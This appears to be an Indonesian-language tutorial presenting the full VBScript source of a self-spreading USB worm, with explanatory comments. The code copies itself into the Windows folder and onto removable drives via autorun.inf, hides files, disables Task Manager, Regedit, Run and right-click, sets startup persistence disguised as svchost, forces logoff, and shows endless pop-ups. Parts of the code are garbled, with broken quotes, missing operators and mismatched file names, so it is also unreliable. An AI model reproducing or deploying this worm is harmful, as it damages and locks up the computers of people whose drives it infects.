PEMBUATAN VIRUS DENGAN EKSTENSI .VBS

‘//-Bosgentongs
ITS-//

‘//-INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!!!!-//
‘//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian
lanjutkan kegiatan virus-//
on error resume next
‘//-Dim kata-kata berikut ini-//
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
‘//-Set sebuah teks yang nantinya akan dibuat untuk
Autorun Setup Information-//
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe bosgentongs.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
‘//-Copy diri untuk menjadi file induk di Windows Path
(example: C:\Windows)-//
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\bosgentongs.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”)
tf.attributes = 39
‘//-Buat Atorun.inf untuk menjalankan virus otomatis
setiap flash disc tercolok-//
‘//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//
for each flashdrive in fs.drives
‘//-Cek Drive-//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path
“A:” then
‘//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau
A:\-//
set tf=fs.getfile(flashdrive.path &”\bosgentongs.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\bosgentongs.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan
(Auto Setup Information)-//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//-Manipulasi Registry-//
set rg = createobject(”WScript.Shell”)
‘//-Manip – Ubah Title Internet Explorer menjadi
BOSGENTONGS v.s. ANTIVIRUS-//
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window
Title”,” THE BOSGENTONGS v.s. ANTIVIRUS “
‘//-Manip – Set agar file hidden tidak ditampilkan di
Explorer-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0”, “REG_DWORD”
‘//-Manip – Hilangkan menu Find, Folder Options, Run, dan
memblokir Regedit dan Task Manager-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1”, “REG_DWORD”
‘//-Manip – Disable klik kanan-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1”, “REG_DWORD”
‘//-Manip – Munculkan Pesan Setiap Windows Startup-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Worm Kalong. Variant from Bosgentongs, don’t panic all data are safe.“
rg.regwrite “”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI“
‘//-Manip – Aktif setiap Windows Startup-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
winpath & “\batch- bosgentongs.exe.vbs “
‘//-Manip – Ubah RegisteredOwner dan Organization-//
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “The Bosgentongs”
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”,”bosgentongs”
‘//-Manip – Membuat Cadangan di sistem svchost, MS32Dll
dan membuat ikon-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\bosgentongs.exe.vbs”
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”
‘//-Manip – Me-Log off komputer setelah log on BOLEH
DIHAPUS KLO MAU LIHAT EFEKNYA!!!-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Logoff”,
winpath & “\System32\Logoff.exe”
‘//-Fungsi di untuk mengaktifkan kembali script dan
mengulangnya kembali-//
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2009
WScript.sleep 20000
‘//-Memunculkan pesan window terus menerus-//
msgbox “Selamatlah virus ini tiba di sistem ente” & vbcrlf & _
“kulo nyuwun pangapuranipun menawi sampung mengganggu ente sekalian” & vbcrlf &
_
“jangan kawatir dan sedih, aku tidak akan kuasai komputer bobrok ini. kini ente
sudah masuk dalam permainanku” & vbcrlf & _
“ini hanya permainnaku yang aku kesepian di sini” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok indah kehidupan bukan kenyataan” & vbcrlf & vbcrlf & _
” saatnya kini aku bangkit dalam mimpi ituk“
‘//-Mengulang kode script-//
loop
‘//Akhir dari Kode & simpan dengan nama
bosgentongs.exe.vbs-//